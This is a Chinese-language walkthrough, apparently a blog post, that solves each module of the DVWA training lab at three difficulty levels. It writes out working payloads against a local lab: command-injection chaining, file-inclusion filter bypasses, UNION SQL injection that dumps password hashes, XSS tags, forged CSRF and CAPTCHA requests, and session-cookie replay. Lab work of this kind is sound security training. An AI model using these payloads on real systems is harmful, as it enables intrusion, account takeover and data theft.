2025年最新版dvwa通关详解(以及搭建的会遇到的各种问题)

最新推荐文章于 2025-05-12 23:57:05 发布

原创最新推荐文章于 2025-05-12 23:57:05 发布

· 1.3k 阅读

11 ·

版权

文章标签：

#php #安全

靶场搭建同时被 2 个专栏收录

5 篇文章

订阅专栏

靶场解题思路

4 篇文章

订阅专栏

phpstudy2018版安装教程请看上篇文章

咋们现在开始dvwa的安装

https://github.com/digininja/DVWA

点击下载

然后解压

找到phpstudy安装目录下新建文件夹dvwa

把刚才解压的文件里边的东西全部复制到新建的文件夹dvwa中

找到配置文件删除dist

修改为root root 然后保存

然后启动phpstudy 在网页上访问http://127.0.0.1/dvwa/login.php

输入 admin password 点击登录

http://127.0.0.1/dvwa/setup.php

然后我们点击 Create Database

报错不着急解决

砸门现在看Brute Force

把这个安全性调到右下角的最低

点击提交这个就是代表成功了

然后返回页面点击右下角的View Source 查看源代码,进行代码审计

没做啥防护

发现没做啥防护直接用yakit进行暴力破解(不会使用的请看我的pikachu靶场的暴力破解模块)

点击登录进行抓包

username 插入临时字典

同理给password也插入临时u字典

爆破成功

然后我们把安全性弄到中级

然后回到主页进行代码审计这个用户名密码分别进行了查询,查询失败还睡眠两秒当然爆破也能跑出来我们班用同样的方法

用同样的方法进行抓包i 只不过多花一点时间

把安全等级调到高级点击提交回到本界面进行代码审计

发现多了一个token还有rand

我们连续提交两次页面

这是86的

这是87

也就是token值是从86到87的

我们看Command Injection

低级

查看源代码没过滤

输入127.0.0.1| ipconfig

中级

查看源代码

部分黑名单绕过

输入127.0.0.1| ipconfig

高级

查看源代码

黑名单绕过

仔细看发现| 后便多一个空格(一看就是开发者粗心造成的)

输入

127.0.0.1|ipconfig

现在我们来看CSRF

进行代码审计

输入admin

看见地址栏里的参数

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

发现改变了

点击测试按钮输入 admin password 发现密码错误

我们再输入

admin admin 这是我们修改的密码

发现登陆成功

上文得到地址栏的参数

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

我就可以随便修改密码了

我们切换到中级进行代码审计

发现增加了判断是否是从本地网站转来的

我们把密码修改成password

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

然后复制链接在另外一个标签页打开

把密码修改成123456

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

发现修改失败

我们开始抓包

找到之前的发送头

Referer: http://127.0.0.1/dvwa/vulnerabilities/csrf/

修改添加到发送包里

发现密码被修改

我们试试登录

我们输入admin password

我们再输入admin 123456

成功

我们再换成高级进行代码审计

发现有token

当网站添加了token验证时这个网站就已经很不好绕过了，所以最好的防护csrf的方法也是网站执行操作时添加token

我们看File inclusion

找到最下面点击勾选

然后刷新界面好了

查看源代码

分别点击三个不同的界面

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file1.php

传输给page参数

我们修改访问本地的文件

在当前目录新建文件1.php

文件内容<?php phpinfo(); ?>

然后访问

换到中级

看源代码

这是会把

如果传参值中有http:// https:// …/ …\都将替换为空

如果不在目录下我们就要写出文件的全路径

page=htthttp://p://127.0.0.1/dvwa/vulnerabilities/fi/1.php

只有这样输入才正确

我们看高级

查看源代码

关键代码为使用fnmatch()函数对page参数进行过滤，要求page必须以“file”开头，服务器才会包含相应的文件。

输入 file:///c:/windows/temp/catalog.json

我们看File Upload

低等级的文件源代码

上传我们新建的文件

发现上传成功

http://127.0.0.1/dvwa/hackable/uploads/1.php

直接访问

我们换成中等级别看源代码

只允许上传image/jpeg image/png

我们修改文件后缀u

我们修改为image/png

上传成功

http://127.0.0.1/dvwa/hackable/uploads/1.php

我们修改为高级查看源代码

这下只能用图片马了

然后抓包上传

然后利用上一关的文件包含漏洞来访问我们上传的jpg文件

http://127.0.0.1/dvwa/hackable/uploads/th.jpg

顺便把等级调低

解析成功

咋们来看insecure CAPTCHA

找到配置文件

$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';

$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

然后保存重启刷新就好了

换成低级查看源代码

点击抓包

修改为123

发现错误

咋们修改step=2

发现修改成功

咋们看中级

查看源代码

发现多了passed_captcha参数修改参数修改密码为123456

换成高级查看源代码

发现多了HTTP_USER_AGENT=reCAPTCHA

参数g-recaptcha-response=hidd3n_valu3

点击抓包

我们加上

User-Agent: reCAPTCHA

&g-recaptcha-response=hidd3n_valu3

然后修改成功

然后咋们来看SQL Injection

低级的

查看源代码

字符型

1' order by 2#

判断回显字段

1' order by 3#

说明有两个回显字段

1' union select 1,2#

来获取回显位置

在后两个位置

1' union select database(),user()# 查询数据库库名跟用户名

查询本数据库所有的表名

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #

发现报错

发现报错：Illegal mix of collations for operation ‘UNION’

解决办法：

查看数据库发现，出现这个问题是因为information_schema数据库里面都是utf8_general_ci,而靶场网站user表中的数据都是utf8_unicode_ci。将user表中更改为与information_schema一样的就可以了。

注意：我最开始仅仅更改了表的，但是仍然出现了报错信息，后来发现需要逐一更改每一个字段

所以该数据库中有两个表users guestbook

实际中可以用

1' union select group_concat(hex(table_name)),2 from information_schema.tables where table_schema=database() #

6775657374626F6F6B,7573657273

在线网站

字符串HEX转换

获取表中的字段名

1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() #

user_id,first_name,last_name,user,password,avatar,last_login,failed_login

获取字段的值

1' union select password,user from users #

都是hash值

在线撞库网站

Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

中级的

查看源代码

数字型

还是一样只不过少了单引号

1 order by 2#

换成高级查看源代码

还是一样

咋们看SQL Injection(Blind)

看难度低级

查看源代码

没有回显位

判断数据库的长度

1' and length(database())=4 #

说明数据库的长度为4

1' and ascii(substr(database(),1,1))=100 #

ASCII码对照表-完整ASCII码表

说明是字母d

以此类推

推断出数据库的名字为dvwa

然后砸门判断数据库里有几张表

1' and(select count(table_name) from information_schema.tables where table_schema=database())=2#

说明数据库有两张表

然后跟上边一样获取表里边的字段名

然后咱们看中级的

开始代码审计

同理只是没有单引号了

1 and length(database())=4#

同理跟后边一样

咋们看高级

审计源代码

同理只是必须点击特殊的链接才可以查询

1' and length(database())=4#

咋们来看Weak Session IDs

sl3c6qoqqto3m2han7an1168dh

咋们在另一个浏览器上打开dvwa网站

替换掉直接免密登录

然后咋们看中级

审计源代码

一看就是加入了时间戳

security=medium; PHPSESSID=sl3c6qoqqto3m2han7an1168dh;dvwaSession=1737361770

时间戳在线转换工具(Unix timestamp) - 记灵工具

时间戳(Unix timestamp)转换工具 - 在线工具

然我们来看

高级的

可以利用md5解密

http://127.0.0.1/dvwa/vulnerabilities/weak_id/

还是一样的方法

咋们来看XSS(DOM)

查看源代码

直接输入<script>alert('xss')</script>

咋们换成中级

查看源代码

发现源代码过滤了<script

在这里可以通过onerror事件，在装载文档或图像的过程中如果发生了错误就会触发

</select><img src=x onerror=alert('xss')>

咋们看高级

查看源代码

这里设置了白名单，如果default的值不为”French”、”English”、”German”、”Spanish”的话就重置URL为:?default=English ，这里只是对 default 的变量进行了过滤。可以考虑在English后面使用&或者#

English&<script>alert('xss')</script>
English#<script>alert('xss')</script>

咋们来看XSS(Reflected)

查看源代码

切换到中级

审计源代码

发现过滤了<script>

我们可以大小写绕过

<Script>alert('xss')</script>

我们现在来看高级

查看源代码

我们看XSS(Stored)

查看源代码

我们输入

我们换成中级

记得在这之前记得删除原来的xss

审计源代码

Message处使用了htmlspecialchars()函数，将字符全部转为了HTML实体，因此Message处无法使用XSS形成攻击。

<Script>alert('xss')</Script>

修改name的长度

现在砸门来看

高级进行代码审计

修改name长度

Nmae处对 <script> 做了限制，各种形式的 <script> 都不行了，考虑使用其他的标签，比如img

所以咋们来看CSP Bypass

看代码审计

咋们打开开发者工具

点击刷新

content-security-policy:

script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com https://digi.ninja ;

咋们选择
Pastebin.com - #1 paste tool since 2002!

输入

alert("l love you")

选择好

点击创建

点击raw

复制地址

https://pastebin.com/raw/rx8E1cu5

输入

按道理就能弹窗出来可是我的不能奇怪

砸门看中级

输入这个

点到高级

查看源代码

在点击网页的按钮使 js 生成一个 script 标签，src 指向 source/jsonp.php?callback=solveNum

include=<script src="source/jsonp.php?callback=alert('xss');"></script>

咋们看JavaScript

进行代码审计

发现是核心源码，用的是dom语法这是在前端使用的和后端无关，然后获取属性为phrase的值然后来个rot13和MD5双重加密在复制给token属性。

我们提价success

所以提交的虽然是success但是token还是ChangeMe的因为generate_token()方法不会自动执行他需要调用，这时只需要在前端调用generate_token()方法生成相应token就行

success 先开始rot13加密

ROT13加密/解密 - ROT13编码/解码—LZL在线工具

fhpprff 在md5加密

在线MD5加密—LZL在线工具

38581812b435834ebf84ebcc2c6424d6

进行抓包

替换token

发送成功

我们切换到中级

查看源代码

先逆序

再加XX

所以是 token XXsseccusXX

抓包并且修改token

成功

我们切换到高级

查看源代码

Deobfuscate Javascript - Deobfuscate malicious Javascripts for quick and easy analysis

还原

(function() {

'use strict';

var ERROR = 'input is invalid type';

var WINDOW = typeof window === 'object';

var root = WINDOW ? window : {};

if (root.JS_SHA256_NO_WINDOW) {

WINDOW = false

}

var WEB_WORKER = !WINDOW && typeof self === 'object';

var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;

if (NODE_JS) {

root = global

} else if (WEB_WORKER) {

root = self

}

var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports;

var AMD = typeof define === 'function' && define.amd;

var ARRAY_BUFFER = !root.JS_SHA256_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';

var HEX_CHARS = '0123456789abcdef'.split('');

var EXTRA = [-2147483648, 8388608, 32768, 128];

var SHIFT = [24, 16, 8, 0];

var K = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2];

var OUTPUT_TYPES = ['hex', 'array', 'digest', 'arrayBuffer'];

var blocks = [];

if (root.JS_SHA256_NO_NODE_JS || !Array.isArray) {

Array.isArray = function(obj) {

return Object.prototype.toString.call(obj) === '[object Array]'

}

if (ARRAY_BUFFER && (root.JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {

ArrayBuffer.isView = function(obj) {

return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer

}

var createOutputMethod = function(outputType, is224) {

return function(message) {

return new Sha256(is224, true).update(message)[outputType]()

}

};

var createMethod = function(is224) {

var method = createOutputMethod('hex', is224);

if (NODE_JS) {

method = nodeWrap(method, is224)

}

method.create = function() {

return new Sha256(is224)

};

method.update = function(message) {

return method.create().update(message)

};

for (var i = 0; i < OUTPUT_TYPES.length; ++i) {

var type = OUTPUT_TYPES[i];

method[type] = createOutputMethod(type, is224)

}

return method

};

var nodeWrap = function(method, is224) {

var crypto = eval("require('crypto')");

var Buffer = eval("require('buffer').Buffer");

var algorithm = is224 ? 'sha224' : 'sha256';

var nodeMethod = function(message) {

if (typeof message === 'string') {

return crypto.createHash(algorithm).update(message, 'utf8').digest('hex')

} else {

if (message === null || message === undefined) {

throw new Error(ERROR)

} else if (message.constructor === ArrayBuffer) {

message = new Uint8Array(message)

}

if (Array.isArray(message) || ArrayBuffer.isView(message) || message.constructor === Buffer) {

return crypto.createHash(algorithm).update(new Buffer(message)).digest('hex')

} else {

return method(message)

}

};

return nodeMethod

};

var createHmacOutputMethod = function(outputType, is224) {

return function(key, message) {

return new HmacSha256(key, is224, true).update(message)[outputType]()

}

};

var createHmacMethod = function(is224) {

var method = createHmacOutputMethod('hex', is224);

method.create = function(key) {

return new HmacSha256(key, is224)

};

method.update = function(key, message) {

return method.create(key).update(message)

};

for (var i = 0; i < OUTPUT_TYPES.length; ++i) {

var type = OUTPUT_TYPES[i];

method[type] = createHmacOutputMethod(type, is224)

}

return method

};

function Sha256(is224, sharedMemory) {

if (sharedMemory) {

blocks[0] = blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0;

this.blocks = blocks

} else {

this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

}

if (is224) {

this.h0 = 0xc1059ed8;

this.h1 = 0x367cd507;

this.h2 = 0x3070dd17;

this.h3 = 0xf70e5939;

this.h4 = 0xffc00b31;

this.h5 = 0x68581511;

this.h6 = 0x64f98fa7;

this.h7 = 0xbefa4fa4

} else {

this.h0 = 0x6a09e667;

this.h1 = 0xbb67ae85;

this.h2 = 0x3c6ef372;

this.h3 = 0xa54ff53a;

this.h4 = 0x510e527f;

this.h5 = 0x9b05688c;

this.h6 = 0x1f83d9ab;

this.h7 = 0x5be0cd19

}

this.block = this.start = this.bytes = this.hBytes = 0;

this.finalized = this.hashed = false;

this.first = true;

this.is224 = is224

}

Sha256.prototype.update = function(message) {

if (this.finalized) {

return

}

var notString, type = typeof message;

if (type !== 'string') {

if (type === 'object') {

if (message === null) {

throw new Error(ERROR)

} else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {

message = new Uint8Array(message)

} else if (!Array.isArray(message)) {

if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {

throw new Error(ERROR)

}

} else {

throw new Error(ERROR)

}

notString = true

}

var code, index = 0,

i, length = message.length,

blocks = this.blocks;

while (index < length) {

if (this.hashed) {

this.hashed = false;

blocks[0] = this.block;

blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0

}

if (notString) {

for (i = this.start; index < length && i < 64; ++index) {

blocks[i >> 2] |= message[index] << SHIFT[i++ & 3]

}

} else {

for (i = this.start; index < length && i < 64; ++index) {

code = message.charCodeAt(index);

if (code < 0x80) {

blocks[i >> 2] |= code << SHIFT[i++ & 3]

} else if (code < 0x800) {

blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];

blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]

} else if (code < 0xd800 || code >= 0xe000) {

blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];

blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];

blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]

} else {

code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));

blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];

blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];

blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];

blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]

}

this.lastByteIndex = i;

this.bytes += i - this.start;

if (i >= 64) {

this.block = blocks[16];

this.start = i - 64;

this.hash();

this.hashed = true

} else {

this.start = i

}

if (this.bytes > 4294967295) {

this.hBytes += this.bytes / 4294967296 << 0;

this.bytes = this.bytes % 4294967296

}

return this

};

Sha256.prototype.finalize = function() {

if (this.finalized) {

return

}

this.finalized = true;

var blocks = this.blocks,

i = this.lastByteIndex;

blocks[16] = this.block;

blocks[i >> 2] |= EXTRA[i & 3];

this.block = blocks[16];

if (i >= 56) {

if (!this.hashed) {

this.hash()

}

blocks[0] = this.block;

}

blocks[14] = this.hBytes << 3 | this.bytes >>> 29;

blocks[15] = this.bytes << 3;

this.hash()

};

Sha256.prototype.hash = function() {

var a = this.h0,

b = this.h1,

c = this.h2,

d = this.h3,

e = this.h4,

f = this.h5,

g = this.h6,

h = this.h7,

blocks = this.blocks,

j, s0, s1, maj, t1, t2, ch, ab, da, cd, bc;

for (j = 16; j < 64; ++j) {

t1 = blocks[j - 15];

s0 = ((t1 >>> 7) | (t1 << 25)) ^ ((t1 >>> 18) | (t1 << 14)) ^ (t1 >>> 3);

t1 = blocks[j - 2];

s1 = ((t1 >>> 17) | (t1 << 15)) ^ ((t1 >>> 19) | (t1 << 13)) ^ (t1 >>> 10);

blocks[j] = blocks[j - 16] + s0 + blocks[j - 7] + s1 << 0

}

bc = b & c;

for (j = 0; j < 64; j += 4) {

if (this.first) {

if (this.is224) {

ab = 300032;

t1 = blocks[0] - 1413257819;

h = t1 - 150054599 << 0;

d = t1 + 24177077 << 0

} else {

ab = 704751109;

t1 = blocks[0] - 210244248;

h = t1 - 1521486534 << 0;

d = t1 + 143694565 << 0

}

this.first = false

} else {

s0 = ((a >>> 2) | (a << 30)) ^ ((a >>> 13) | (a << 19)) ^ ((a >>> 22) | (a << 10));

s1 = ((e >>> 6) | (e << 26)) ^ ((e >>> 11) | (e << 21)) ^ ((e >>> 25) | (e << 7));

ab = a & b;

maj = ab ^ (a & c) ^ bc;

ch = (e & f) ^ (~e & g);

t1 = h + s1 + ch + K[j] + blocks[j];

t2 = s0 + maj;

h = d + t1 << 0;

d = t1 + t2 << 0

}

s0 = ((d >>> 2) | (d << 30)) ^ ((d >>> 13) | (d << 19)) ^ ((d >>> 22) | (d << 10));

s1 = ((h >>> 6) | (h << 26)) ^ ((h >>> 11) | (h << 21)) ^ ((h >>> 25) | (h << 7));

da = d & a;

maj = da ^ (d & b) ^ ab;

ch = (h & e) ^ (~h & f);

t1 = g + s1 + ch + K[j + 1] + blocks[j + 1];

t2 = s0 + maj;

g = c + t1 << 0;

c = t1 + t2 << 0;

s0 = ((c >>> 2) | (c << 30)) ^ ((c >>> 13) | (c << 19)) ^ ((c >>> 22) | (c << 10));

s1 = ((g >>> 6) | (g << 26)) ^ ((g >>> 11) | (g << 21)) ^ ((g >>> 25) | (g << 7));

cd = c & d;

maj = cd ^ (c & a) ^ da;

ch = (g & h) ^ (~g & e);

t1 = f + s1 + ch + K[j + 2] + blocks[j + 2];

t2 = s0 + maj;

f = b + t1 << 0;

b = t1 + t2 << 0;

s0 = ((b >>> 2) | (b << 30)) ^ ((b >>> 13) | (b << 19)) ^ ((b >>> 22) | (b << 10));

s1 = ((f >>> 6) | (f << 26)) ^ ((f >>> 11) | (f << 21)) ^ ((f >>> 25) | (f << 7));

bc = b & c;

maj = bc ^ (b & d) ^ cd;

ch = (f & g) ^ (~f & h);

t1 = e + s1 + ch + K[j + 3] + blocks[j + 3];

t2 = s0 + maj;

e = a + t1 << 0;

a = t1 + t2 << 0

}

this.h0 = this.h0 + a << 0;

this.h1 = this.h1 + b << 0;

this.h2 = this.h2 + c << 0;

this.h3 = this.h3 + d << 0;

this.h4 = this.h4 + e << 0;

this.h5 = this.h5 + f << 0;

this.h6 = this.h6 + g << 0;

this.h7 = this.h7 + h << 0

};

Sha256.prototype.hex = function() {

this.finalize();

var h0 = this.h0,

h1 = this.h1,

h2 = this.h2,

h3 = this.h3,

h4 = this.h4,

h5 = this.h5,

h6 = this.h6,

h7 = this.h7;

var hex = HEX_CHARS[(h0 >> 28) & 0x0F] + HEX_CHARS[(h0 >> 24) & 0x0F] + HEX_CHARS[(h0 >> 20) & 0x0F] + HEX_CHARS[(h0 >> 16) & 0x0F] + HEX_CHARS[(h0 >> 12) & 0x0F] + HEX_CHARS[(h0 >> 8) & 0x0F] + HEX_CHARS[(h0 >> 4) & 0x0F] + HEX_CHARS[h0 & 0x0F] + HEX_CHARS[(h1 >> 28) & 0x0F] + HEX_CHARS[(h1 >> 24) & 0x0F] + HEX_CHARS[(h1 >> 20) & 0x0F] + HEX_CHARS[(h1 >> 16) & 0x0F] + HEX_CHARS[(h1 >> 12) & 0x0F] + HEX_CHARS[(h1 >> 8) & 0x0F] + HEX_CHARS[(h1 >> 4) & 0x0F] + HEX_CHARS[h1 & 0x0F] + HEX_CHARS[(h2 >> 28) & 0x0F] + HEX_CHARS[(h2 >> 24) & 0x0F] + HEX_CHARS[(h2 >> 20) & 0x0F] + HEX_CHARS[(h2 >> 16) & 0x0F] + HEX_CHARS[(h2 >> 12) & 0x0F] + HEX_CHARS[(h2 >> 8) & 0x0F] + HEX_CHARS[(h2 >> 4) & 0x0F] + HEX_CHARS[h2 & 0x0F] + HEX_CHARS[(h3 >> 28) & 0x0F] + HEX_CHARS[(h3 >> 24) & 0x0F] + HEX_CHARS[(h3 >> 20) & 0x0F] + HEX_CHARS[(h3 >> 16) & 0x0F] + HEX_CHARS[(h3 >> 12) & 0x0F] + HEX_CHARS[(h3 >> 8) & 0x0F] + HEX_CHARS[(h3 >> 4) & 0x0F] + HEX_CHARS[h3 & 0x0F] + HEX_CHARS[(h4 >> 28) & 0x0F] + HEX_CHARS[(h4 >> 24) & 0x0F] + HEX_CHARS[(h4 >> 20) & 0x0F] + HEX_CHARS[(h4 >> 16) & 0x0F] + HEX_CHARS[(h4 >> 12) & 0x0F] + HEX_CHARS[(h4 >> 8) & 0x0F] + HEX_CHARS[(h4 >> 4) & 0x0F] + HEX_CHARS[h4 & 0x0F] + HEX_CHARS[(h5 >> 28) & 0x0F] + HEX_CHARS[(h5 >> 24) & 0x0F] + HEX_CHARS[(h5 >> 20) & 0x0F] + HEX_CHARS[(h5 >> 16) & 0x0F] + HEX_CHARS[(h5 >> 12) & 0x0F] + HEX_CHARS[(h5 >> 8) & 0x0F] + HEX_CHARS[(h5 >> 4) & 0x0F] + HEX_CHARS[h5 & 0x0F] + HEX_CHARS[(h6 >> 28) & 0x0F] + HEX_CHARS[(h6 >> 24) & 0x0F] + HEX_CHARS[(h6 >> 20) & 0x0F] + HEX_CHARS[(h6 >> 16) & 0x0F] + HEX_CHARS[(h6 >> 12) & 0x0F] + HEX_CHARS[(h6 >> 8) & 0x0F] + HEX_CHARS[(h6 >> 4) & 0x0F] + HEX_CHARS[h6 & 0x0F];

if (!this.is224) {

hex += HEX_CHARS[(h7 >> 28) & 0x0F] + HEX_CHARS[(h7 >> 24) & 0x0F] + HEX_CHARS[(h7 >> 20) & 0x0F] + HEX_CHARS[(h7 >> 16) & 0x0F] + HEX_CHARS[(h7 >> 12) & 0x0F] + HEX_CHARS[(h7 >> 8) & 0x0F] + HEX_CHARS[(h7 >> 4) & 0x0F] + HEX_CHARS[h7 & 0x0F]

}

return hex

};

Sha256.prototype.toString = Sha256.prototype.hex;

Sha256.prototype.digest = function() {

this.finalize();

var h0 = this.h0,

h1 = this.h1,

h2 = this.h2,

h3 = this.h3,

h4 = this.h4,

h5 = this.h5,

h6 = this.h6,

h7 = this.h7;

var arr = [(h0 >> 24) & 0xFF, (h0 >> 16) & 0xFF, (h0 >> 8) & 0xFF, h0 & 0xFF, (h1 >> 24) & 0xFF, (h1 >> 16) & 0xFF, (h1 >> 8) & 0xFF, h1 & 0xFF, (h2 >> 24) & 0xFF, (h2 >> 16) & 0xFF, (h2 >> 8) & 0xFF, h2 & 0xFF, (h3 >> 24) & 0xFF, (h3 >> 16) & 0xFF, (h3 >> 8) & 0xFF, h3 & 0xFF, (h4 >> 24) & 0xFF, (h4 >> 16) & 0xFF, (h4 >> 8) & 0xFF, h4 & 0xFF, (h5 >> 24) & 0xFF, (h5 >> 16) & 0xFF, (h5 >> 8) & 0xFF, h5 & 0xFF, (h6 >> 24) & 0xFF, (h6 >> 16) & 0xFF, (h6 >> 8) & 0xFF, h6 & 0xFF];

if (!this.is224) {

arr.push((h7 >> 24) & 0xFF, (h7 >> 16) & 0xFF, (h7 >> 8) & 0xFF, h7 & 0xFF)

}

return arr

};

Sha256.prototype.array = Sha256.prototype.digest;

Sha256.prototype.arrayBuffer = function() {

this.finalize();

var buffer = new ArrayBuffer(this.is224 ? 28 : 32);

var dataView = new DataView(buffer);

dataView.setUint32(0, this.h0);

dataView.setUint32(4, this.h1);

dataView.setUint32(8, this.h2);

dataView.setUint32(12, this.h3);

dataView.setUint32(16, this.h4);

dataView.setUint32(20, this.h5);

dataView.setUint32(24, this.h6);

if (!this.is224) {

dataView.setUint32(28, this.h7)

}

return buffer

};

function HmacSha256(key, is224, sharedMemory) {

var i, type = typeof key;

if (type === 'string') {

var bytes = [],

length = key.length,

index = 0,

code;

for (i = 0; i < length; ++i) {

code = key.charCodeAt(i);

if (code < 0x80) {

bytes[index++] = code

} else if (code < 0x800) {

bytes[index++] = (0xc0 | (code >> 6));

bytes[index++] = (0x80 | (code & 0x3f))

} else if (code < 0xd800 || code >= 0xe000) {

bytes[index++] = (0xe0 | (code >> 12));

bytes[index++] = (0x80 | ((code >> 6) & 0x3f));

bytes[index++] = (0x80 | (code & 0x3f))

} else {

code = 0x10000 + (((code & 0x3ff) << 10) | (key.charCodeAt(++i) & 0x3ff));

bytes[index++] = (0xf0 | (code >> 18));

bytes[index++] = (0x80 | ((code >> 12) & 0x3f));

bytes[index++] = (0x80 | ((code >> 6) & 0x3f));

bytes[index++] = (0x80 | (code & 0x3f))

}

key = bytes

} else {

if (type === 'object') {

if (key === null) {

throw new Error(ERROR)

} else if (ARRAY_BUFFER && key.constructor === ArrayBuffer) {

key = new Uint8Array(key)

} else if (!Array.isArray(key)) {

if (!ARRAY_BUFFER || !ArrayBuffer.isView(key)) {

throw new Error(ERROR)

}

} else {

throw new Error(ERROR)

}

if (key.length > 64) {

key = (new Sha256(is224, true)).update(key).array()

}

var oKeyPad = [],

iKeyPad = [];

for (i = 0; i < 64; ++i) {

var b = key[i] || 0;

oKeyPad[i] = 0x5c ^ b;

iKeyPad[i] = 0x36 ^ b

}

Sha256.call(this, is224, sharedMemory);

this.update(iKeyPad);

this.oKeyPad = oKeyPad;

this.inner = true;

this.sharedMemory = sharedMemory

}

HmacSha256.prototype = new Sha256();

HmacSha256.prototype.finalize = function() {

Sha256.prototype.finalize.call(this);

if (this.inner) {

this.inner = false;

var innerHash = this.array();

Sha256.call(this, this.is224, this.sharedMemory);

this.update(this.oKeyPad);

this.update(innerHash);

Sha256.prototype.finalize.call(this)

}

};

var exports = createMethod();

exports.sha256 = exports;

exports.sha224 = createMethod(true);

exports.sha256.hmac = createHmacMethod();

exports.sha224.hmac = createHmacMethod(true);

if (COMMON_JS) {

module.exports = exports

} else {

root.sha256 = exports.sha256;

root.sha224 = exports.sha224;

if (AMD) {

define(function() {

return exports

})

}

})();

function do_something(e) {

for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];

return t

}

function token_part_3(t, y = "ZZ") {

document.getElementById("token").value = sha256(document.getElementById("token").value + y)

}

function token_part_2(e = "YY") {

document.getElementById("token").value = sha256(e + document.getElementById("token").value)

}

function token_part_1(a, b) {

document.getElementById("token").value = do_something(document.getElementById("phrase").value)

}

document.getElementById("phrase").value = "";

setTimeout(function() {

token_part_2("XX")

}, 300);

document.getElementById("send").addEventListener("click", token_part_3);

token_part_1("ABCD", 44);

所以咋们

攻击方式：输入框输入success，依次执行 token_part_1("ABCD", 44) 和 token_part_2("XX")，最后点击提交执行 token_part_3()：

点击提交

咋们来看

Authorisation Bypass

查看源代码

咋们是用admin登陆的现在要未授权访问

http://127.0.0.1/dvwa/vulnerabilities/authbypass/

咋们换个浏览器用普通用户登录

gordonb / abc123.

可以看到没有这个选项

咋们输入这个

http://127.0.0.1/dvwa/vulnerabilities/authbypass/

发现登陆成功以普通用户的身份

然后咋们换成中级

审计源代码

f12打开开发者工具获取cookie

sl3c6qoqqto3m2han7an1168dh

这个是以普通用户登陆的网站

修改为这个

然后就发现登陆成功

我们换到高级

还是一样的替换cookie

然后刷新界面

我们来看Open HTTP Redirect

然后查看源代码

http://127.0.0.1/dvwa/vulnerabilities/open_redirect/source/low.php?redirect=https://baidu.com

成功跳转

我们切换到中级

审计源代码

过滤了http和https，可以使用别的方法进行转跳

http://127.0.0.1/dvwa/vulnerabilities/open_redirect/source/medium.php?redirect=../../../index.php

跳转到根目录

我们换成高级

查看源代码

重定向被封锁到info.php

http://127.0.0.1/dvwa/vulnerabilities/open_redirect/source/high.php?redirect=https://www.baidu.com?id=info.php

查看url

我们看密码学

我们进行解码

然后输入

Olifant

登陆成功